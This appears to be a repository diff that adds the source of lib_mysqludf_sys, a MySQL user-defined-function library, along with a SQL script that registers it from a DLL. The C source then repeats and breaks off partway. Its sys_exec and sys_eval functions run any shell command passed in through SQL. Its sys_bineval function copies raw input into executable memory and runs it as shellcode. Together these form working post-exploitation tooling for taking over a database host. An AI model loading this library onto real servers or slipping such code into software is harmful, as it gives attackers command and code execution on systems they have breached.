extra/mysqludfsys/lib_mysqludf_sys/linux/src/lib_mysqludf_sys.c
Normal file
551
extra/mysqludfsys/lib_mysqludf_sys/linux/src/lib_mysqludf_sys.c
Normal file
@@ -0,0 +1,551 @@
|
|||||||
|
/*
|
||||||
|
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2007 Roland Bouman
|
||||||
|
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||||
|
web: http://www.mysqludf.org/
|
||||||
|
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
#define DLLEXP __declspec(dllexport)
|
||||||
|
#else
|
||||||
|
#define DLLEXP
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef STANDARD
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <time.h>
|
||||||
|
#ifdef __WIN__
|
||||||
|
typedef unsigned __int64 ulonglong;
|
||||||
|
typedef __int64 longlong;
|
||||||
|
#else
|
||||||
|
typedef unsigned long long ulonglong;
|
||||||
|
typedef long long longlong;
|
||||||
|
#endif /*__WIN__*/
|
||||||
|
#else
|
||||||
|
#include <my_global.h>
|
||||||
|
#include <my_sys.h>
|
||||||
|
#endif
|
||||||
|
#include <mysql.h>
|
||||||
|
#include <m_ctype.h>
|
||||||
|
#include <m_string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#include <ctype.h>
|
||||||
|
|
||||||
|
#ifdef HAVE_DLOPEN
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
|
||||||
|
|
||||||
|
#ifdef __WIN__
|
||||||
|
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
||||||
|
#else
|
||||||
|
#define SETENV(name,value) setenv(name,value,1);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
my_bool lib_mysqludf_sys_info_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void lib_mysqludf_sys_info_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
char* lib_mysqludf_sys_info(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_get
|
||||||
|
*
|
||||||
|
* Gets the value of the specified environment variable.
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_get_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_get_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
char* sys_get(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_set
|
||||||
|
*
|
||||||
|
* Sets the value of the environment variables.
|
||||||
|
* This function accepts a set of name/value pairs
|
||||||
|
* which are then set as environment variables.
|
||||||
|
* Use sys_get to retrieve the value of such a variable
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_set_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_set_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
long long sys_set(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_exec
|
||||||
|
*
|
||||||
|
* executes the argument commandstring and returns its exit status.
|
||||||
|
* Beware that this can be a security hazard.
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_exec_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_exec_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
my_ulonglong sys_exec(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_eval
|
||||||
|
*
|
||||||
|
* executes the argument commandstring and returns its standard output.
|
||||||
|
* Beware that this can be a security hazard.
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_eval_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_eval_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
char* sys_eval(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_bineval
|
||||||
|
*
|
||||||
|
* executes bynary opcodes.
|
||||||
|
* Beware that this can be a security hazard.
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_bineval_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_bineval_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
int sys_bineval(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
);
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/**
|
||||||
|
* lib_mysqludf_sys_info
|
||||||
|
*/
|
||||||
|
my_bool lib_mysqludf_sys_info_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
){
|
||||||
|
my_bool status;
|
||||||
|
if(args->arg_count!=0){
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
|
||||||
|
);
|
||||||
|
status = 1;
|
||||||
|
} else {
|
||||||
|
status = 0;
|
||||||
|
}
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
void lib_mysqludf_sys_info_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
}
|
||||||
|
|
||||||
|
char* lib_mysqludf_sys_info(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
){
|
||||||
|
strcpy(result,LIBVERSION);
|
||||||
|
*length = strlen(LIBVERSION);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
my_bool sys_get_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
){
|
||||||
|
if(args->arg_count==1
|
||||||
|
&& args->arg_type[0]==STRING_RESULT){
|
||||||
|
initid->maybe_null = 1;
|
||||||
|
return 0;
|
||||||
|
} else {
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Expected exactly one string type parameter"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void sys_get_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
}
|
||||||
|
|
||||||
|
char* sys_get(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
){
|
||||||
|
char* value = getenv(args->args[0]);
|
||||||
|
if(value == NULL){
|
||||||
|
*is_null = 1;
|
||||||
|
} else {
|
||||||
|
*length = strlen(value);
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
my_bool sys_set_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
){
|
||||||
|
if(args->arg_count!=2){
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Expected exactly two arguments"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
if(args->arg_type[0]!=STRING_RESULT){
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Expected string type for name parameter"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
args->arg_type[1]=STRING_RESULT;
|
||||||
|
if((initid->ptr=malloc(
|
||||||
|
args->lengths[0]
|
||||||
|
+ 1
|
||||||
|
+ args->lengths[1]
|
||||||
|
+ 1
|
||||||
|
))==NULL){
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Could not allocate memory"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void sys_set_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
if (initid->ptr!=NULL){
|
||||||
|
free(initid->ptr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
long long sys_set(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
){
|
||||||
|
char *name = initid->ptr;
|
||||||
|
char *value = name + args->lengths[0] + 1;
|
||||||
|
memcpy(
|
||||||
|
name
|
||||||
|
, args->args[0]
|
||||||
|
, args->lengths[0]
|
||||||
|
);
|
||||||
|
*(name + args->lengths[0]) = '\0';
|
||||||
|
memcpy(
|
||||||
|
value
|
||||||
|
, args->args[1]
|
||||||
|
, args->lengths[1]
|
||||||
|
);
|
||||||
|
*(value + args->lengths[1]) = '\0';
|
||||||
|
return SETENV(name,value);
|
||||||
|
}
|
||||||
|
|
||||||
|
my_bool sys_exec_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
){
|
||||||
|
unsigned int i=0;
|
||||||
|
if(args->arg_count == 1
|
||||||
|
&& args->arg_type[i]==STRING_RESULT){
|
||||||
|
return 0;
|
||||||
|
} else {
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Expected exactly one string type parameter"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void sys_exec_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
}
|
||||||
|
|
||||||
|
my_ulonglong sys_exec(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
){
|
||||||
|
return system(args->args[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
my_bool sys_eval_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
){
|
||||||
|
unsigned int i=0;
|
||||||
|
if(args->arg_count == 1
|
||||||
|
&& args->arg_type[i]==STRING_RESULT){
|
||||||
|
return 0;
|
||||||
|
} else {
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Expected exactly one string type parameter"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void sys_eval_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
}
|
||||||
|
|
||||||
|
char* sys_eval(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
){
|
||||||
|
FILE *pipe;
|
||||||
|
char line[1024];
|
||||||
|
unsigned long outlen, linelen;
|
||||||
|
|
||||||
|
result = malloc(1);
|
||||||
|
outlen = 0;
|
||||||
|
|
||||||
|
pipe = popen(args->args[0], "r");
|
||||||
|
|
||||||
|
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||||
|
linelen = strlen(line);
|
||||||
|
result = realloc(result, outlen + linelen);
|
||||||
|
strncpy(result + outlen, line, linelen);
|
||||||
|
outlen = outlen + linelen;
|
||||||
|
}
|
||||||
|
|
||||||
|
pclose(pipe);
|
||||||
|
|
||||||
|
if (!(*result) || result == NULL) {
|
||||||
|
*is_null = 1;
|
||||||
|
} else {
|
||||||
|
result[outlen-1] = 0x00;
|
||||||
|
*length = strlen(result);
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
my_bool sys_bineval_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
){
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void sys_bineval_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
int sys_bineval(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
){
|
||||||
|
int32 argv0_size;
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
int pID;
|
||||||
|
char *code;
|
||||||
|
#else
|
||||||
|
int *addr;
|
||||||
|
size_t page_size;
|
||||||
|
pid_t pID;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
argv0_size = strlen(args->args[0]);
|
||||||
|
len = (size_t)argv0_size;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
// allocate a +rwx memory page
|
||||||
|
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
strncpy(code, args->args[0], len);
|
||||||
|
|
||||||
|
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||||
|
#else
|
||||||
|
pID = fork();
|
||||||
|
if(pID<0)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
if(pID==0)
|
||||||
|
{
|
||||||
|
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||||
|
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||||
|
|
||||||
|
// mmap an rwx memory page
|
||||||
|
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||||
|
|
||||||
|
if (addr == MAP_FAILED)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
strncpy((char *)addr, args->args[0], len);
|
||||||
|
|
||||||
|
((void (*)(void))addr)();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pID>0)
|
||||||
|
waitpid(pID, 0, WNOHANG);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||||
|
{
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov eax, [lpParameter]
|
||||||
|
call eax
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* HAVE_DLOPEN */
|
||||||
BIN
extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll
Executable file
BIN
extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll
Executable file
Binary file not shown.
@@ -0,0 +1,35 @@
|
|||||||
|
/*
|
||||||
|
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2007 Roland Bouman
|
||||||
|
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||||
|
web: http://www.mysqludf.org/
|
||||||
|
email: roland.bouman@gmail.com, bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
|
||||||
|
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
|
||||||
|
DROP FUNCTION IF EXISTS sys_get;
|
||||||
|
DROP FUNCTION IF EXISTS sys_set;
|
||||||
|
DROP FUNCTION IF EXISTS sys_exec;
|
||||||
|
DROP FUNCTION IF EXISTS sys_eval;
|
||||||
|
DROP FUNCTION IF EXISTS sys_bineval;
|
||||||
|
|
||||||
|
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||||
|
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||||
|
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||||
|
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||||
|
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||||
|
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||||
@@ -0,0 +1,551 @@
|
|||||||
|
/*
|
||||||
|
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2007 Roland Bouman
|
||||||
|
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||||
|
web: http://www.mysqludf.org/
|
||||||
|
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
#define DLLEXP __declspec(dllexport)
|
||||||
|
#else
|
||||||
|
#define DLLEXP
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef STANDARD
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <time.h>
|
||||||
|
#ifdef __WIN__
|
||||||
|
typedef unsigned __int64 ulonglong;
|
||||||
|
typedef __int64 longlong;
|
||||||
|
#else
|
||||||
|
typedef unsigned long long ulonglong;
|
||||||
|
typedef long long longlong;
|
||||||
|
#endif /*__WIN__*/
|
||||||
|
#else
|
||||||
|
#include <my_global.h>
|
||||||
|
#include <my_sys.h>
|
||||||
|
#endif
|
||||||
|
#include <mysql.h>
|
||||||
|
#include <m_ctype.h>
|
||||||
|
#include <m_string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#include <ctype.h>
|
||||||
|
|
||||||
|
#ifdef HAVE_DLOPEN
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
|
||||||
|
|
||||||
|
#ifdef __WIN__
|
||||||
|
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
||||||
|
#else
|
||||||
|
#define SETENV(name,value) setenv(name,value,1);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
my_bool lib_mysqludf_sys_info_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void lib_mysqludf_sys_info_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
char* lib_mysqludf_sys_info(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_get
|
||||||
|
*
|
||||||
|
* Gets the value of the specified environment variable.
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_get_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_get_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
char* sys_get(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_set
|
||||||
|
*
|
||||||
|
* Sets the value of the environment variables.
|
||||||
|
* This function accepts a set of name/value pairs
|
||||||
|
* which are then set as environment variables.
|
||||||
|
* Use sys_get to retrieve the value of such a variable
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_set_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_set_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
long long sys_set(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_exec
|
||||||
|
*
|
||||||
|
* executes the argument commandstring and returns its exit status.
|
||||||
|
* Beware that this can be a security hazard.
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_exec_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_exec_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
my_ulonglong sys_exec(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_eval
|
||||||
|
*
|
||||||
|
* executes the argument commandstring and returns its standard output.
|
||||||
|
* Beware that this can be a security hazard.
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_eval_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_eval_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
char* sys_eval(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_bineval
|
||||||
|
*
|
||||||
|
* executes bynary opcodes.
|
||||||
|
* Beware that this can be a security hazard.
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_bineval_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_bineval_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
int sys_bineval(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
);
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/**
|
||||||
|
* lib_mysqludf_sys_info
|
||||||
|
*/
|
||||||
|
my_bool lib_mysqludf_sys_info_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
){
|
||||||
|
my_bool status;
|
||||||
|
if(args->arg_count!=0){
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
|
||||||
|
);
|
||||||
|
status = 1;
|
||||||
|
} else {
|
||||||
|
status = 0;
|
||||||
|
}
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
void lib_mysqludf_sys_info_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
}
|
||||||
|
|
||||||
|
char* lib_mysqludf_sys_info(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
){
|
||||||
|
strcpy(result,LIBVERSION);
|
||||||
|
*length = strlen(LIBVERSION);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
my_bool sys_get_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
){
|
||||||
|
if(args->arg_count==1
|
||||||
|
&& args->arg_type[0]==STRING_RESULT){
|
||||||
|
initid->maybe_null = 1;
|
||||||
|
return 0;
|
||||||
|
} else {
|
||||||
|
strcpy(
|
